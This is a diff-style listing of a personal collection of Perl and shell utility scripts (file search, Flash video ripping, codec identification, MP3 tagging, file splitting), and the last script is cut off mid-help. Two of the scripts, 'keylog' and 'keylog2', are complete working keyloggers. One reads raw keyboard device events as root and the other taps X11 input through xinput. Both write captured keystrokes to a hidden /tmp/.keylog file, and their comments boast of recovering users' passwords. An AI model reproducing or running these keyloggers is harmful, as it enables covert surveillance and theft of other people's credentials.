my @tools = qw(sudo wget tar);
my %paths = ();
foreach my $tool (@tools) {
chomp(my $path = `which $tool`);
if ($? == 0) {
$paths{$tool} = $path;
}
else {
say "This script requires `$tool`, which wasn't found in your \$PATH.";
exit(1);
}
}
return %paths;
}

71
home/bin/findtxt Executable file
View File

@ -0,0 +1,71 @@
#!/usr/bin/perl -w
# findtxt - Recursively scan a directory looking for a string inside every file
# inside. It's like a simple grep except it scans directories and all files.
#
# Usage: findtxt <strings to find> [directory]
use strict;
use warnings;
if (not scalar(@ARGV)) {
print "Usage: findtxt <strings to find> [directory]\n"
. "Example: findtxt \"hello world\" /home\n"
. " findtxt perl cgi /usr/lib\n";
exit(0);
}
my $base = `pwd`;
if (-d $ARGV[-1]) {
$base = pop(@ARGV);
}
$base = '' if $base eq '/';
print "Scanning... please wait...\n";
our $hits = 0;
my @files = &scanDir($base);
print "\n\nResults:\n"
. join ("\n",@files)
. "\n";
sub scanDir {
my $dir = shift;
my @files = ();
print "[$hits] Scan $dir/\n";
opendir (DIR, "$dir/") || warn "Can't read $dir: $!\n";
foreach my $file (readdir(DIR)) {
next if $file eq '.';
next if $file eq '..';
next if -l "$dir/$file"; # skip symlinks
if (-d "$dir/$file") {
next if ("$dir/$file") =~ /\/dev/i;
push (@files, &scanDir("$dir/$file"));
}
elsif (-f "$dir/$file") {
# read this file.
open (FILE, "$dir/$file") || do {
warn "Can't read $dir/$file: $!\n";
next;
};
while (<FILE>) {
foreach my $str (@ARGV) {
if ($_ =~ /$str/i) {
push (@files,"$dir/$file");
$hits++;
last;
}
}
}
}
select (undef,undef,undef,0.001);
}
closedir (DIR);
return @files;
}

49
home/bin/flashget Executable file
View File

@ -0,0 +1,49 @@
#!/usr/bin/perl -w
# flashget - Download Flash videos from any hosting site.
# Usage: flashget
# Author: Kirsle
# http://sh.kirsle.net/
# This script doesn't care what your flash player is called. It just looks for
# any process that owns a /tmp/Flash####### file and copies it.
use strict;
use warnings;
use File::Copy;
my $home = defined $ENV{HOME} ? $ENV{HOME} : ".";
print "flashget - Searching for Flash videos to rip. For best results, make sure\n"
. "you FULLY BUFFER the video first in your web browser.\n\n";
my $count = 0;
opendir (my $proc, "/proc");
foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) {
# Skip PID's we can't read from.
next unless -r "/proc/$pid/fd";
# Look for flash videos.
my @fd = `ls -l /proc/$pid/fd`;
foreach my $line (@fd) {
chomp $line;
$line =~ s/[\x0D\x0A]//g;
next unless length $line;
my @parts = split(/\s+/, $line);
my $file = $parts[-2];
my $id = $parts[-4];
# Looks like Flash?
if ($file =~ m{^/tmp/(Flash.*?)$}) {
# Copy it.
my $dest = "$home/$1.flv";
print "Recover from PID $pid: $id -> $dest\n";
copy("/proc/$pid/fd/$id", $dest) or print "ERR: Couldn't copy to $dest: $@\n";
$count++;
}
}
}
closedir ($proc);
print "\nRecovered $count Flash video(s).\n";

43
home/bin/flatten-linked Executable file
View File

@ -0,0 +1,43 @@
#!/usr/bin/perl -w
# flatten-linked - Create symlinks to every file in a directory, recursively,
# creating the links in the current working directory.
#
# If you have iTunes or similar managing your music and it organizes them in a
# large folder structure (Band Name/Album Name/Song Name.mp3) you can run this
# script on your iTunes folder and it will create links to every file in the
# current folder. So you'll end up with a single folder "containing" all your
# songs, when really they're all links to their real locations.
#
# But with this you can import your iTunes collection into XMMS or another
# primitive media player very easily, by only importing one folder - the one
# full of links.
#
# --Kirsle
# http://sh.kirsle.net/
unless (@ARGV) {
print "Usage: flatten-linked <directory>\n"
. "Creates symlinks to all files in current directory\n";
exit(1);
}
foreach (@ARGV) {
&crawl($_);
}
closedir (DIR);
sub crawl {
my $dir = shift;
print "Crawling into directory $dir";
opendir (DIR, $dir) or die "Can't open dir $dir: $!";
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&crawl("$dir/$file");
}
elsif (-f "$dir/$file") {
print "Linking $dir/$file as ./$file\n";
system("ln", "-s", "$dir/$file", "./$file");
}
}
}

41
home/bin/flv2avi Executable file
View File

@ -0,0 +1,41 @@
#!/bin/sh
# flv2avi - Convert FLV video to AVI (divx or xvid codec).
#
# This script was not written by Kirsle, it was found on the net somewhere.
#
# Usage: flv2avi [-divx|-xvid] list_of_flv_files
#
# --Kirsle
# http://sh.kirsle.net/
if [ -z "$1" ]; then
echo "Usage: $0 {-divx|-xvid} list_of_flv_files"
exit 1
fi
# video encoding bit rate
V_BITRATE=1000
while [ "$1" ]; do
case "$1" in
-divx)
MENC_OPTS="-ovc lavc -lavcopts \
vcodec=mpeg4:vbitrate=$V_BITRATE:mbd=2:v4mv:autoaspect"
;;
-xvid)
MENC_OPTS="-ovc xvid -xvidencopts bitrate=$V_BITRATE:autoaspect"
;;
*)
if file "$1" | grep -q "Macromedia Flash Video"; then
mencoder "$1" $MENC_OPTS -vf pp=lb -oac mp3lame \
-lameopts fast:preset=standard -o \
"`basename $1 .flv`.avi"
else
echo "$1 is not Flash Video. Skipping"
fi
;;
esac
shift
done

27
home/bin/gsay Executable file
View File

@ -0,0 +1,27 @@
#!/usr/bin/perl
# gsay - Text to Speech using Google
# Usage: gsay <message>
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use URI::Escape;
if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) {
die "Usage: $0 <message>\n";
}
my $message = uri_escape(join(" ", @ARGV));
# Check for mplayer.
chomp(my $mplayer = `which mplayer 2>/dev/null`);
if ($? || !$mplayer) {
die "Couldn't find `mplayer` - please install it!\n";
}
# Fork a background process to speak and exit immediately.
exit if fork();
exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1");

25
home/bin/gsync Executable file
View File

@ -0,0 +1,25 @@
#!/usr/bin/perl -w
# gsync - Graphically run the `sync` command to flush the write buffers to
# flash drives and things in Linux.
#
# If you want to make sure data is written to a flash drive without having to
# unmount it, sync is the command to run. This just adds libnotify popups
# about it.
use strict;
use warnings;
# Icon to use
my $icon = "/usr/share/icons/gnome/32x32/actions/stock_refresh.png";
# Start
system("notify-send",
"--icon" => $icon,
"Syncing removable media...");
my $now = time();
system("sync");
my $elapsed = time() - $now;
system("notify-send",
"--icon" => $icon,
"Sync completed in $elapsed second" . ($elapsed == 1 ? '' : 's') . "!");

69
home/bin/id-codec Executable file
View File

@ -0,0 +1,69 @@
#!/usr/bin/perl
# id-codec: Identify the codec used in a video file.
#
# Usage: id-codec *.avi
#
# Requires mplayer.
#
# --Kirsle
# http://sh.kirsle.net/
use 5.16.0;
use strict;
use warnings;
use Getopt::Long;
use Term::ANSIColor;
my $help;
my $color = 1;
GetOptions(
'color!' => \$color,
'help|h|?' => \$help,
);
if ($help) {
die "Usage: id-codec [--nocolor] <video files>\n"
. "Use --nocolor to suppress ANSI color codes.\n";
}
my $mplayer;
unless (chomp($mplayer = `which mplayer 2>/dev/null`)) {
die "This requires mplayer to be installed.\n";
}
foreach my $file (@ARGV) {
green("$file: ");
my $cmd = qq{$mplayer -frames 0 -vo null -ao null -identify "$file" 2>/dev/null | grep "Selected video codec"};
chomp(my $result = `$cmd` || "(unidentifiable)");
$result =~ s/^Selected video codec:\s+//g;
yellow("$result\n");
}
sub green {
my $text = shift;
if ($color) {
print color 'bright_green';
}
print $text;
if ($color) {
print color 'reset';
}
}
sub yellow {
my $text = shift;
if ($color) {
print color 'bright_yellow';
}
print $text;
if ($color) {
print color 'reset';
}
}

54
home/bin/id3set Executable file
View File

@ -0,0 +1,54 @@
#!/usr/bin/perl -w
# id3set - Stupid simple way to set IDv3 tags on an MP3.
#
# Usage: id3set "Band Name - Song" song.mp3
#
# This script just sets artist and song title info. It's useful for MP3s that
# completely lack this information.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use MP3::Info;
if (scalar(@ARGV) == 0 || scalar(@ARGV) > 2) {
die "Usage: $0 <Band Name - Title> file.mp3";
}
my $info;
my $file;
if (scalar(@ARGV) == 1) {
# Only a file given.
if ($ARGV[0] =~ /^(.+? - .+?)\.mp3$/i) {
# Good enough!
$info = $1;
$file = shift;
}
}
else {
$info = shift;
$file = shift;
}
if (!-f $file) {
die "$file: file not found.";
}
my ($band, $song) = $info =~ /^(.+?) - (.+?)$/;
$band = trim($band);
$song = trim($song);
print "Artist: $band\n";
print " Title: $song\n";
MP3::Info::set_mp3tag($file, $song, $band);
sub trim {
$_ = shift;
s/^\s+//g;
s/\s+$//g;
return $_;
}

35
home/bin/iphone-ringtone Executable file
View File

@ -0,0 +1,35 @@
#!/usr/bin/perl -w
# iphone-ringtone: convert MP3 tracks into M4R audio files for
# iPhone ringtones.
#
# Requires: mplayer, faac
#
# --Kirsle
# http://sh.kirsle.net/
# Get args.
scalar(@ARGV) or die "Usage: iphone-ringtone <track.mp3>";
my $mp3 = shift(@ARGV);
# Turn the mp3 name into an m4r name.
my $m4r = $mp3;
$m4r =~ s/\.mp3$/.m4r/i;
$m4r .= ".m4r" unless $m4r =~ /\.m4r$/i;
# Turn the m4r name into an m4a name (this is the name that
# faac will produce when run).
my $m4a = $m4r;
$m4a =~ s/\.m4r$/.m4a/i;
# Turn the m4r name into a .wav for mplayer.
my $wav = $m4r;
$wav =~ s/\.m4r$/.wav/i;
# Run the commands.
system("mplayer -vo null -vc null -ao pcm:fast:file=$wav $mp3");
system("faac -b 128 -c 44100 -w $wav");
rename($m4a,$m4r);
unlink($wav);
print "Done. Now scp the file to /Library/Ringtones/ on your iPhone.\n";

23
home/bin/json-pretty Executable file
View File

@ -0,0 +1,23 @@
#!/usr/bin/perl
# json-pretty: Take a JSON file and pretty-print it.
#
# Usage: json-pretty <file.json>
#
# --Kirsle
use strict;
use warnings;
use JSON;
my $file = shift(@ARGV) or die "Usage: $0 <file.json>\n";
my $json = JSON->new->utf8->pretty();
local $/ = undef;
open(my $fh, "<", $file);
my $text = <$fh>;
close($fh);
my $data = $json->decode($text);
print $json->encode($data);

370
home/bin/keylog Executable file
View File

@ -0,0 +1,370 @@
#!/usr/bin/perl -w
use strict;
use warnings;
use threads;
use threads::shared;
# keylog - A simple key logger.
# Usage: keylog <path-to-device-node>
# Example: keylog /dev/input/event0
#
# The user you run this as should have read access to the device node. Most of
# the time, this means you'll need to run this as root.
#
# To find out which device node your keyboard is using, run the command
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
# in this case the input device is /dev/input/event4. Update this for any
# other event number that you see instead.
#
# This program prints ALL key events to the terminal (including the key up/down
# events for all keys). This information probably isn't directly useful to you,
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
# it logs are probably the most useful to you; if the user hits the backspace
# key, the last key they typed is deleted, etc.. so if a user is typing their
# password and makes a typo and finishes typing, you'll get their full password.
#
# The buffer used for this is saved after 2 seconds of idle time in their typing,
# or when a "separator key" is entered (a separator key is: Enter, Return, or
# Tab). Each buffer is saved to its own line in the log file. If the user is a
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
# figure this out yourself.
#
# This is just a proof of concept and should be used for educational purposes
# only.
#
# --Kirsle
# http://sh.kirsle.net/
# Modify the die handler so we can exit on error messages
# more gracefully.
$SIG{__DIE__} = sub {
my $err = shift;
$err =~ s/ at .+ line .+\.//g;
print $err;
exit(1);
};
# Get the device node from command line.
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
my $DEV = $ARGV[0];
# Must run this as root, or be able to read from the device.
if (!-r $DEV) {
die "Can't read from $DEV; got root?";
}
# Hash to keep track of modifier keys.
our $mod = {
shift => 0,
alt => 0,
ctrl => 0,
};
# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
# in the log file. The backspace key deletes text in the buffer, etc. This way
# you can see basically what they typed, without having to parse through the
# key up/down events yourself.
my $buffer : shared;
my $lastkey : shared; # Holds the time() of the last key event seen.
my $writenow : shared; # The key parser can force the buffer to write now.
$buffer = '';
$lastkey = 0;
$writenow = 0;
# Spawn a thread to watch the buffer and write it to disk. This way the
# blocking file reads won't prevent the buffer from being written.
my $bufthread = threads->create (\&buffer);
# Open the device for reading.
open (FILE, $DEV);
while (1) {
# Read the next keypress event.
my $line = "";
sysread(FILE, $line, 16);
my @vals = split(//, $line);
if (ord($vals[10]) != 0) {
# Interpret the event.
interpret(ord($vals[10]),ord($vals[12]));
}
}
close (FILE);
# This is the buffer writing thread.
sub buffer {
while (1) {
select(undef,undef,undef,0.1);
# Was there a 2 second delay from the last event?
if ($lastkey == 0) {
next;
}
if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
# Write it to disk.
print "Writing buffer to disk\n";
open (WRITE, ">>/tmp/.keylog");
print WRITE ts() . "$buffer\n";
close (WRITE);
$buffer = '';
$lastkey = 0;
$writenow = 0;
}
}
}
# Interpret keycode events from the device node.
sub interpret {
my ($keycode,$state) = @_;
# Store the last keypress time.
$lastkey = time();
# Qwerty keyboard map.
qwerty($keycode,$state);
return;
# This code doesn't run; if you want it to run,
# comment out the "return" just above these
# comments. This is for debugging purposes.
print "[$keycode] ";
if ($state == 0) {
print "up\n";
}
elsif ($state == 1) {
print "down\n";
}
elsif ($state == 2) {
print "repeat\n";
}
else {
print "\n";
}
}
# Interpret keycodes based on QWERTY key map.
sub qwerty {
my ($code,$state) = @_;
return unless $state >= 0 && $state <= 2;
# Handle the modifier keys first.
if ($code == 42 || $code == 54) {
# Shift key.
$mod->{shift} = ($state == 1 ? 1 : 0);
}
elsif ($code == 29 || $code == 97) {
# Ctrl key.
$mod->{ctrl} = ($state == 1 ? 1 : 0);
}
elsif ($code == 56 || $code == 100) {
# Alt key.
$mod->{alt} = ($state == 1 ? 1 : 0);
}
# Qwery keys.
my %keys = (
# Keys that map to two different characters (with shift
# key held down) are an array; element 0 is the non-shifted
# character, element 1 is the shifted character.
# number row
41 => [ '`', '~' ],
2 => [ '1', '!' ],
3 => [ '2', '@' ],
4 => [ '3', '#' ],
5 => [ '4', '$' ],
6 => [ '5', '%' ],
7 => [ '6', '^' ],
8 => [ '7', '&' ],
9 => [ '8', '*' ],
10 => [ '9', '(' ],
11 => [ '0', ')' ],
12 => [ '-', '_' ],
13 => [ '=', '+' ],
# qwerty row
16 => [ 'q', 'Q' ],
17 => [ 'w', 'W' ],
18 => [ 'e', 'E' ],
19 => [ 'r', 'R' ],
20 => [ 't', 'T' ],
21 => [ 'y', 'Y' ],
22 => [ 'u', 'U' ],
23 => [ 'i', 'I' ],
24 => [ 'o', 'O' ],
25 => [ 'p', 'P' ],
26 => [ '[', '{' ],
27 => [ ']', '}' ],
43 => [ '\\', '|' ],
# asdf row
30 => [ 'a', 'A' ],
31 => [ 's', 'S' ],
32 => [ 'd', 'D' ],
33 => [ 'f', 'F' ],
34 => [ 'g', 'G' ],
35 => [ 'h', 'H' ],
36 => [ 'j', 'J' ],
37 => [ 'k', 'K' ],
38 => [ 'l', 'L' ],
39 => [ ';', ':' ],
40 => [ "'", '"' ],
# zxcv row
44 => [ 'z', 'Z' ],
45 => [ 'x', 'X' ],
46 => [ 'c', 'C' ],
47 => [ 'v', 'V' ],
48 => [ 'b', 'B' ],
49 => [ 'n', 'N' ],
50 => [ 'm', 'M' ],
51 => [ ',', '<' ],
52 => [ '.', '>' ],
53 => [ '/', '?' ],
# Other keys
14 => 'Backspace',
28 => 'Return',
96 => 'Enter',
15 => 'Tab',
57 => ' ',
58 => 'Caps Lock',
69 => 'Num Lock',
70 => 'Scroll Lock',
42 => 'L-Shift',
54 => 'R-Shift',
29 => 'L-Ctrl',
97 => 'R-Ctrl',
56 => 'L-Alt',
100 => 'R-Alt',
125 => 'L-Super',
126 => 'R-Super',
127 => 'Menu',
1 => 'Escape',
59 => 'F1',
60 => 'F2',
61 => 'F3',
62 => 'F4',
63 => 'F5',
64 => 'F6',
65 => 'F7',
66 => 'F8',
67 => 'F9',
68 => 'F10',
87 => 'F11',
88 => 'F12',
110 => 'Insert',
102 => 'Home',
107 => 'End',
104 => 'Pg Up',
109 => 'Pg Dn',
111 => 'Del',
99 => 'Print Screen',
119 => 'Pause',
103 => 'Up',
108 => 'Down',
106 => 'Right',
105 => 'Left',
71 => [ 'Num-7', 'Num-Home' ],
72 => [ 'Num-8', 'Num-Up' ],
73 => [ 'Num-9', 'Num-Pg Up' ],
75 => [ 'Num-4', 'Num-Left' ],
76 => 'Num-5',
77 => [ 'Num-6', 'Num-Right' ],
79 => [ 'Num-1', 'Num-End' ],
80 => [ 'Num-2', 'Num-Down' ],
81 => [ 'Num-3', 'Num-Pg Dn' ],
82 => [ 'Num-0', 'Num-Insert' ],
96 => 'Num-/',
55 => 'Num-*',
74 => 'Num--',
78 => 'Num-+',
93 => [ 'Num-.', 'Num-Del' ],
);
# See their matching keypress.
my $keypress = '';
foreach my $key (sort keys %keys) {
if ($code == $key) {
# We have a match! Does the key have a shift-modifier?
if (ref($keys{$key}) eq "ARRAY") {
if ($mod->{shift}) {
$keypress = $keys{$key}->[1];
}
else {
$keypress = $keys{$key}->[0];
}
}
else {
$keypress = $keys{$key};
}
last;
}
}
# Add it to the buffer.
if ($state == 1) {
if (length $keypress > 1) {
if ($keypress eq 'Backspace') {
# Delete the last character off the end of their buffer.
$buffer = substr($buffer,0,(length($buffer) - 1));
}
else {
# Add the special key with {brackets} around it.
$buffer .= "{$keypress}";
}
}
else {
$buffer .= $keypress;
}
}
# If they hit a separator key, save the buffer right now.
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
$writenow = 1;
}
# Print their key.
if ($mod->{shift}) {
$keypress = "(Shift) $keypress";
}
if ($mod->{ctrl}) {
$keypress = "(Ctrl) $keypress";
}
if ($mod->{alt}) {
$keypress = "(Alt) $keypress";
}
if ($state == 1) {
$keypress = "+ $keypress";
}
else {
$keypress = "- $keypress";
}
print "$code $keypress\n";
# Log the raw keypresses too.
open (RAW, ">>/tmp/.rawkeylog");
print RAW ts() . "$code $keypress\n";
close (RAW);
}
sub ts {
my @time = localtime();
return "[" . join(" ",
join("-",
sprintf("%04d", $time[5] + 1900),
sprintf("%02d", $time[4] + 1),
sprintf("%02d", $time[3]),
),
join(":",
sprintf("%02d", $time[2]),
sprintf("%02d", $time[1]),
sprintf("%02d", $time[0]),
),
) . "] ";
}

292
home/bin/keylog2 Executable file
View File

@ -0,0 +1,292 @@
#!/usr/bin/perl -w
# keylog2 - a rootless keylogger that only requires an X server and the xinput
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
# the Perl module IO::Pty::Easy.
#
# Unlike my first keylogger proof-of-concept, this one doesn't require root
# privileges because it just uses the X Window System. Therefore it only
# catches key inputs made to graphical programs on the same X server that the
# keylogger runs on.
#
# How it works: running `xinput list` lists all your X input devices. There's
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
# keyboard". Get the ID from the line that says this and then run
# `xinput test <id>` and it will start dumping keystroke information as the
# user types keys into ANY graphical app.
#
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
# so no guarantees it will work for everybody. This is just another proof of
# concept anyway, and shouldn't be used for malicious purposes.
#
# Under the default configuration, the log file is written to /tmp/.keylog
# and only logs key release events, except for modifier keys (Shift, Ctrl,
# Alt, and Super (Windows key)) where it will also log the Key Down event
# (so Alt-Tabbing makes more sense in the log, for example). You can
# optionally configure it to log EVERY key down event if you'd like, though.
#
# Again, this is just a proof of concept and should be used for educational
# purposes only, and not for anything malicious.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use IO::Pty::Easy;
use IO::Handle;
##########################
# Configuration #
##########################
my $conf = {
# Log files to write keys to
logfile => "/tmp/.keylog",
# By default only key-releases are logged. Log key-presses too?
log_keydown => 0,
};
##########################
# End Configuration #
##########################
# X11 display.
$ENV{DISPLAY} ||= ":0.0";
# Make sure we have xinput.
if (system("which xinput > /dev/null") != 0) {
print "You require the `xinput` command for this keylogger to work.\n";
exit(1);
}
# Get the input list.
my @inputs = `xinput list`;
# Find the AT keyboard.
my $id;
foreach my $line (@inputs) {
$line =~ s/^[\s\t]+//g;
$line =~ s/[\s\t]+$//g;
$line =~ s/[\x0D\x0A]+//g;
next unless length $line;
if ($line =~ /keyboard/i && $line =~ /. AT/) {
($id) = ($line =~ /id=(\d+)/)[0];
}
}
if (!defined $id) {
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
exit(1);
}
print "Keyboard ID: $id\n";
# Track state of modifier keys.
our %mod = (
'shift' => 0,
'ctrl' => 0,
'alt' => 0,
'super' => 0,
);
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
my $tty = IO::Pty::Easy->new();
print "Watching `xinput test $id`\n";
$tty->spawn("xinput test $id");
while ($tty->is_active) {
my $data = $tty->read();
my @lines = split(/\n/, $data);
foreach my $line (@lines) {
# Key event?
chomp $line;
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
event($1, $2);
}
}
}
# Handle key events
sub event {
my ($event,$sym) = @_;
# Only QWERTY keyboards supported.
my $key = kbd_qwerty($event,$sym);
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";
# Log it?
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
my @time = localtime(time());
my $ts = join(" ",
join("-",
sprintf("%4d", $time[5] + 1900),
sprintf("%2d", $time[4] + 1),
sprintf("%2d", $time[3]),
),
join(":",
sprintf("%2d", $time[2]),
sprintf("%2d", $time[1]),
sprintf("%2d", $time[0]),
),
);
open (my $log, ">>", $conf->{logfile});
print $log "[$ts] "
. ($event eq "release" ? "<Release>" : "<Press>")
. " "
. ($key eq " " ? "{space}" : $key)
. "\n";
close ($log);
}
}
# QWERTY keysym finder
sub kbd_qwerty {
my ($event,$sym) = @_;
# Modifier keys.
my %modkeys = (
50 => 'shift', # L Shift
62 => 'shift', # R Shift
37 => 'ctrl', # L Ctrl
105 => 'ctrl', # R Ctrl
64 => 'alt', # L Alt
108 => 'alt', # R Alt
133 => 'super', # L Super
);
if (exists $modkeys{$sym}) {
my $name = $modkeys{$sym};
$mod{$name} = $event eq "press" ? 1 : 0;
return "{\u$name}";
}
# Qwerty keys.
my %keys = (
# qwerty row
24 => [ 'q', 'Q' ], # normal, shift key
25 => [ 'w', 'W' ],
26 => [ 'e', 'E' ],
27 => [ 'r', 'R' ],
28 => [ 't', 'T' ],
29 => [ 'y', 'Y' ],
30 => [ 'u', 'U' ],
31 => [ 'i', 'I' ],
32 => [ 'o', 'O' ],
33 => [ 'p', 'P' ],
34 => [ '[', '{' ],
35 => [ ']', '}' ],
51 => [ "\\", '|' ],
# asdf row
38 => [ 'a', 'A' ],
39 => [ 's', 'S' ],
40 => [ 'd', 'D' ],
41 => [ 'f', 'F' ],
42 => [ 'g', 'G' ],
43 => [ 'h', 'H' ],
44 => [ 'j', 'J' ],
45 => [ 'k', 'K' ],
46 => [ 'l', 'L' ],
47 => [ ';', ':' ],
48 => [ '"', "'" ],
36 => "{Return}",
# zxcv row
52 => [ 'z', 'Z' ],
53 => [ 'x', 'X' ],
54 => [ 'c', 'C' ],
55 => [ 'v', 'V' ],
56 => [ 'b', 'B' ],
57 => [ 'n', 'N' ],
58 => [ 'm', 'M' ],
59 => [ ',', '<' ],
60 => [ '.', '>' ],
61 => [ '/', '?' ],
# number row
49 => [ '`', '~' ],
10 => [ '1', '!' ],
11 => [ '2', '@' ],
12 => [ '3', '#' ],
13 => [ '4', '$' ],
14 => [ '5', '%' ],
15 => [ '6', '^' ],
16 => [ '7', '&' ],
17 => [ '8', '*' ],
18 => [ '9', '(' ],
19 => [ '0', ')' ],
20 => [ '-', '_' ],
21 => [ '+', '=' ],
# space bar
65 => ' ',
# number pad
90 => '{Num-0}',
87 => '{Num-1}',
88 => '{Num-2}',
89 => '{Num-3}',
83 => '{Num-4}',
84 => '{Num-5}',
85 => '{Num-6}',
79 => '{Num-7}',
80 => '{Num-8}',
81 => '{Num-9}',
106 => '{Num-/}',
63 => '{Num-*}',
82 => '{Num--}',
86 => '{Num-+}',
# F keys
67 => '{F1}',
68 => '{F2}',
69 => '{F3}',
70 => '{F4}',
71 => '{F5}',
72 => '{F6}',
73 => '{F7}',
74 => '{F8}',
75 => '{F9}',
76 => '{F10}',
95 => '{F11}',
96 => '{F12}',
# Misc
9 => '{Esc}',
22 => '{Backspace}',
77 => '{Num Lock}',
107 => '{Print Scr}',
118 => '{Insert}',
119 => '{Delete}',
110 => '{Home}',
112 => '{Pg Up}',
117 => '{Pg Dn}',
115 => '{End}',
111 => '{Up}',
116 => '{Down}',
113 => '{Left}',
114 => '{Right}',
135 => '{Menu}',
23 => '{Tab}',
66 => '{Caps Lock}',
);
if (exists $keys{$sym}) {
if (ref($keys{$sym})) {
print "(shift key: $mod{shift})\n";
if ($mod{shift}) {
return $keys{$sym}->[1];
}
else {
return $keys{$sym}->[0];
}
}
return $keys{$sym};
}
else {
return "{Unknown: $sym}";
}
}

279
home/bin/ksplit Executable file
View File

@ -0,0 +1,279 @@
#!/usr/bin/perl -w
# ksplit - Kirsle's File Splitter
#
# This is a super simple file splitter. See `ksplit --help` for help.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use Getopt::Long;
unless (@ARGV) {
&usage();
}
# Get command-line options.
my %o = (
verbose => 0, # --verbose, -v
help => 0, # --help, -h, -?
join => 0, # --join, -j
split => 0, # --split, -x
bs => (1024*1024), # byte size (1 MB default)
blocks => 512, # block size
cleanup => 0, # --cleanup
file => '', # file to run on
);
GetOptions (
'split|x' => \$o{split},
'join|j' => \$o{join},
'size|bs|s=s' => \$o{bs},
'blocks|b=i' => \$o{blocks},
'cleanup|c' => \$o{cleanup},
'verbose|v' => \$o{verbose},
'help|h|?' => \$o{help},
);
# Asking for help?
if ($o{help}) {
&help();
}
main();
sub main {
if (scalar(@ARGV)) {
$o{file} = shift(@ARGV);
}
else {
print "No input file specified.\n"
. "See ksplit --help\n";
exit(1);
}
# Let them specify the size in K, M, G, or T.
if ($o{bs} =~ /(k|m|g|t)$/i) {
my $type = uc($1);
$o{bs} =~ s/[^0-9]//g;
if ($type eq "K") {
$o{bs} *= 1024;
}
elsif ($type eq "M") {
$o{bs} *= 1024*1024;
}
elsif ($type eq "G") {
$o{bs} *= 1024**3;
}
elsif ($type eq "T") {
$o{bs} *= 1024**4;
}
}
# Did we specify what we want to do?
if ($o{split} && $o{join}) {
print "You can't split and join at the same time.\n";
exit(1);
}
elsif ($o{split} == 0 && $o{join} == 0) {
# Check the filename to guess what we want to do.
if ($o{file} =~ /\.s\d+$/i) {
# We're prolly rejoining it.
$o{join} = 1;
}
else {
# We're prolly splitting it.
$o{split} = 1;
}
}
# Splitting or joining?
if ($o{split}) {
verbose("Splitting $o{file} into $o{bs} byte chunks...");
open (READ, $o{file}) or die "Can't read file: $!";
binmode READ;
# Begin reading.
my $i = 1;
my $target = "$o{file}.s" . sprintf("%03d", $i);
my $bytes_read = 0;
my $buffer = '';
# And... go.
verbose("Opening $target for writing...");
open (WRITE, ">$target") or die "Can't open $target for writing: $!";
binmode WRITE;
while (read(READ, $buffer, $o{blocks})) {
print WRITE $buffer;
$bytes_read += $o{blocks};
# Is the next read gonna go over the byte size?
if ($bytes_read + $o{blocks} > $o{bs}) {
# Start a new file.
close (WRITE);
$i++;
$target = "$o{file}.s" . sprintf("%03d", $i);
$buffer = '';
verbose("Wrote $bytes_read bytes\n"
. "Opening $target for writing...");
$bytes_read = 0;
open (WRITE, ">$target") or die "Can't open $target for writing: $!";
binmode WRITE;
}
}
# Close the last handle.
close (WRITE);
# Done.
verbose("Done.");
}
elsif ($o{join}) {
verbose("Joining $o{file} together...");
# Make sure they gave us the first one.
my $source = $o{file};
if ($source !~ /\.s001$/i) {
# Make it the first.
if ($source =~ /\.s\d+$/i) {
$source =~ s/\.s\d+$/.s001/i;
}
else {
die "Can't find source file #1!";
}
}
# Find the target file.
my $target = $source;
$target =~ s/\.s\d+$//i;
verbose("Opening target file $target for writing...");
open (WRITE, ">$target");
binmode WRITE;
# Read from the files.
my $i = 1;
while (1) {
$source = "$target.s" . sprintf("%03d", $i);
if (!-f $source) {
verbose("No more source files.");
last;
}
verbose("Opening source file $source for reading...");
open (READ, $source) or die "Can't read from $source: $!";
binmode READ;
my $buffer = '';
while (read(READ, $buffer, $o{bs})) {
print WRITE $buffer;
}
close(READ);
$i++;
# Clean up?
if ($o{cleanup}) {
verbose("Cleaning up source file $source");
unlink($source);
}
}
# Done.
close (WRITE);
verbose("Done.");
}
}
sub verbose {
my $line = shift;
if ($o{verbose}) {
print "$line\n";
}
}
sub usage {
print "Usage: ksplit [-v -s <byte size> -b <block size> -j|-x -c] file\n"
. "Try ksplit --help for help.\n";
exit(1);
}
sub help {
print qq{
NAME
ksplit - Split and join large files.
USAGE
ksplit [-v -s <byte size> -b <block size> -j|-x -c] file
DESCRIPTION
This tool splits up and joins a large file into several smaller files.
OPTIONS
--verbose
-v
Give verbose output while the command is running (otherwise it runs
silently).
--size <byte size>
--bs
-s
Specify the maximum file size for each chunk that the file is split into.
You can use K, M, G, or T at the end to specify larger sizes. Examples:
-s 1.44M
-s 1024
-s 4G
--blocksize <bytes>
--block
-b
Specify the number of bytes to copy at a time. A larger number will make
the operation faster, however it will require more memory to run.
--join, -j
--split, -x
Normally ksplit will try to detect what you want to do based on the file
you give it. Specify --join or --split manually to override it. You
can't use both options at the same time.
--cleanup
-c
When joining the file back together, automatically delete each part
after it is copied from.
INPUT FILE
If the input file ends with `.s###` then ksplit will assume you want to join
